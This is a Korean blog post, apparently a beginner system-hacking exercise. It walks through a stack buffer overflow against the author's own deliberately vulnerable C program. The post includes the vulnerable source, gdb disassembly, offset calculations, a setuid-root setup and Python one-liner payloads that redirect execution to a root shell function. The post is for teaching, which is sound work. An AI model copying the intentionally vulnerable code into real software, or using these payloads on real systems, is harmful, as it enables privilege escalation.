Overflow - 2
#include<STDIO.H> #include<STDLIB.H> #include<UNISTD.H> void goal() { puts("\n==================================="); puts(" you got the shell! \n==================================="); setreuid(0,0); system("/bin/sh"); } void bp1() { char buf1[20]; fgets(buf1, 40, stdin); } void bp2() { char buf2[30]; fgets(buf2, 60, stdin); } void bp3() { char buf3[40]; fgets(buf3, 80, stdin); } int main() { int choice; printf("1, 2, 3 ?" ); scanf("%d ", &choice); switch(choice) { case 1: bp1(); break; case 2: bp2(); break; case 3: bp3(); break; default: puts("0__0"); break; } }
시스템해킹은 shell을 얻는 것이 주 목적이다.
위 소스에서 goal() 함수를 실행시켜서 shell을 실행시키자!!
컴파일은 SSP(Stack Smashing Protection) 옵션을 제외하고 컴파일 한다.
SSP는 메모리보호기법 중 버퍼오버플로우를 보호하는 기법이다.
주로 canary를 이용하여 보호한다.
32비트 기준으로 예를 들면
0xffff0150 |
RET |
0xffff014c |
SFP |
0xffff0148 |
Canary |
0xffff0120 | str[40] |
이런식으로 SFP와 할당된 str문자열 공간 사이에 카나리가 존재하며
str에서 값을 크게 입력하여 ret주소를 변조하려해도 카나리 값이 변경되면 프로그램이 종료되는 방식이다.
컴파일은
gcc -m64 -fno-stack-protector BOF.c -o bof
(gdb) disassemble main
0x0000000000400793 <+0>: push rbp
0x0000000000400794 <+1>: mov rbp,rsp
0x0000000000400797 <+4>: sub rsp,0x10
0x000000000040079b <+8>: mov edi,0x400901
0x00000000004007a0 <+13>: mov eax,0x0
0x00000000004007a5 <+18>: call 0x4005a0 <printf@plt>
0x00000000004007aa <+23>: lea rax,[rbp-0x4]
0x00000000004007ae <+27>: mov rsi,rax
0x00000000004007b1 <+30>: mov edi,0x40090b
0x00000000004007b6 <+35>: mov eax,0x0
0x00000000004007bb <+40>: call 0x4005e0 <__isoc99_scanf@plt>
0x00000000004007c0 <+45>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004007c3 <+48>: cmp eax,0x2
0x00000000004007c6 <+51>: je 0x4007de <main+75>
0x00000000004007c8 <+53>: cmp eax,0x3
0x00000000004007cb <+56>: je 0x4007ea <main+87>
0x00000000004007cd <+58>: cmp eax,0x1
0x00000000004007d0 <+61>: jne 0x4007f6 <main+99>
0x00000000004007d2 <+63>: mov eax,0x0
0x00000000004007d7 <+68>: call 0x40072a <bp1>
0x00000000004007dc <+73>: jmp 0x400801 <main+110>
0x00000000004007de <+75>: mov eax,0x0
0x00000000004007e3 <+80>: call 0x40074d <bp2>
0x00000000004007e8 <+85>: jmp 0x400801 <main+110>
0x00000000004007ea <+87>: mov eax,0x0
0x00000000004007ef <+92>: call 0x400770 <bp3>
0x00000000004007f4 <+97>: jmp 0x400801 <main+110>
0x00000000004007f6 <+99>: mov edi,0x40090f
0x00000000004007fb <+104>: call 0x400580 <puts@plt>
0x0000000000400800 <+109>: nop
0x0000000000400801 <+110>: mov eax,0x0
0x0000000000400806 <+115>: leave
0x0000000000400807 <+116>: ret
(gdb) disassemble bp1
0x000000000040072a <+0>: push rbp
0x000000000040072b <+1>: mov rbp,rsp
0x000000000040072e <+4>: sub rsp,0x20
0x0000000000400732 <+8>: mov rdx,QWORD PTR [rip+0x200927] # 0x60106 <stdin@@GLIBC_2.2.5>
0x0000000000400739 <+15>: lea rax,[rbp-0x20]
0x000000000040073d <+19>: mov esi,0x28
0x0000000000400742 <+24>: mov rdi,rax
0x0000000000400745 <+27>: call 0x4005c0 <fgets@plt>
0x000000000040074a <+32>: nop
0x000000000040074b <+33>: leave
0x000000000040074c <+34>: ret
+4번 주소 : 스택포인터에 0x20 즉 32바이트만큼 할당
+8번 주소 : stdin 표준입출력으로 입력받는 함수의 주소
+15번 주소 : bp1()의 주소에서 0x20 즉 bp1-32부터 저장 [rbp-32 = buf1시작, rbp-12 = dummy시작]
+19번 주소 : 40바이트만큼 읽어오기
RET를 변조하기 위해서는
RET(8) + SFP(8) + dummy[12] + buf1[20] -> 그러나 입력은 40바이트..
= SFP까지 채우면 이미 32바이트가 넘으므로 RET의 주소를 변경할 수 없다.
그래서 다음 함수를 이용한다.
(gdb) disassemble bp2
0x000000000040074d <+0>: push rbp
0x000000000040074e <+1>: mov rbp,rsp
0x0000000000400751 <+4>: sub rsp,0x20
0x0000000000400755 <+8>: mov rdx,QWORD PTR [rip+0x200904] # 0x601060 <stdin@@GLIBC_2.2.5>
0x000000000040075c <+15>: lea rax,[rbp-0x20]
0x0000000000400760 <+19>: mov esi,0x3c
0x0000000000400765 <+24>: mov rdi,rax
0x0000000000400768 <+27>: call 0x4005c0 <fgets@plt>
0x000000000040076d <+32>: nop
0x000000000040076e <+33>: leave
0x000000000040076f <+34>: ret
+4번 주소 : 스택포인터에 0x20 즉 32바이트만큼 할당
+8번 주소 : stdin 표준입출력으로 입력받는 함수의 주소
+15번 주소 : bp2()의 주소에서 0x20 즉 bp2-32부터 저장 [rbp-32 = buf2시작, rbp-2 = dummy시작]
+19번 주소 : 60바이트만큼 읽어오기
RET를 변조하기 위해서는
RET(8) + SFP(8) + dummy[2] + buf2[30] -> 48바이트가 필요한데 60바이트 입력받기에 주소 변경가능.
->즉 40바이트만큼 채우고 8바이트 복귀주소 변경
(gdb) disassemble bp3
0x0000000000400770 <+0>: push rbp
0x0000000000400771 <+1>: mov rbp,rsp
0x0000000000400774 <+4>: sub rsp,0x30
0x0000000000400778 <+8>: mov rdx,QWORD PTR [rip+0x2008e1] # 0x601060 <stdin@@GLIBC_2.2.5>
0x000000000040077f <+15>: lea rax,[rbp-0x30]
0x0000000000400783 <+19>: mov esi,0x50
0x0000000000400788 <+24>: mov rdi,rax
0x000000000040078b <+27>: call 0x4005c0 <fgets@plt>
0x0000000000400790 <+32>: nop
0x0000000000400791 <+33>: leave
0x0000000000400792 <+34>: ret
+4번 주소 : 스택포인터에 0x30 즉 32바이트만큼 할당
+8번 주소 : stdin 표준입출력으로 입력받는 함수의 주소
+15번 주소 : bp3()의 주소에서 0x30 즉 bp3-48부터 저장 [rbp-48 = buf2시작, rbp-8 = dummy시작]
+19번 주소 : 60바이트만큼 읽어오기
RET를 변조하기 위해서는
RET(8) + SFP(8) + dummy[8] + buf3[40] -> 64바이트가 필요한데 80바이트 입력받기에 주소 변경가능.
->즉 56바이트만큼 채우고 8바이트는 복귀주소 변경
(gdb) dissassemble goal
0x00000000004006f6 <+0>: push rbp
0x00000000004006f7 <+1>: mov rbp,rsp
0x00000000004006fa <+4>: mov edi,0x400898
0x00000000004006ff <+9>: call 0x400580 <puts@plt>
0x0000000000400704 <+14>: mov edi,0x4008c0
0x0000000000400709 <+19>: call 0x400580 <puts@plt>
0x000000000040070e <+24>: mov esi,0x0
0x0000000000400713 <+29>: mov edi,0x0
0x0000000000400718 <+34>: call 0x4005d0 <setreuid@plt>
0x000000000040071d <+39>: mov edi,0x4008f9
0x0000000000400722 <+44>: call 0x400590 <system@plt>
0x0000000000400727 <+49>: nop
0x0000000000400728 <+50>: pop rbp
0x0000000000400729 <+51>: ret
goal() 함수의 시작주소가 0x00000000004006f6 임을 확인
exploit 코드를 파이썬을 이용해 작성.
(python -c 'print "2\n"+ "a"*0x28+"\xf6\x06\x40\x00\x00\x00\x00\x00"'; cat) | ./bof
(python -c 'print "3\n"+ "a"*0x38+"\xf6\x06\x40\x00\x00\x00\x00\x00"'; cat) | ./bof
실행 전
chown root: bof
chmod 4755 bof
설정으로 실행하는 동안 최고관리자 권한을 주었다.
아래는 위 파이썬 코드로 실행시킨 결과이다.
'Try Attack > System Hacking[basic]' 카테고리의 다른 글
RTL(Return To Libc) 파라미터 (0) | 2019.01.11 |
---|---|
RTL(Return To Libc) 입력 (0) | 2019.01.11 |
Overflow - 1 (0) | 2018.05.20 |
gcc 메모리보호옵션 (0) | 2018.05.18 |
gcc 사용방법 (0) | 2018.05.18 |
댓글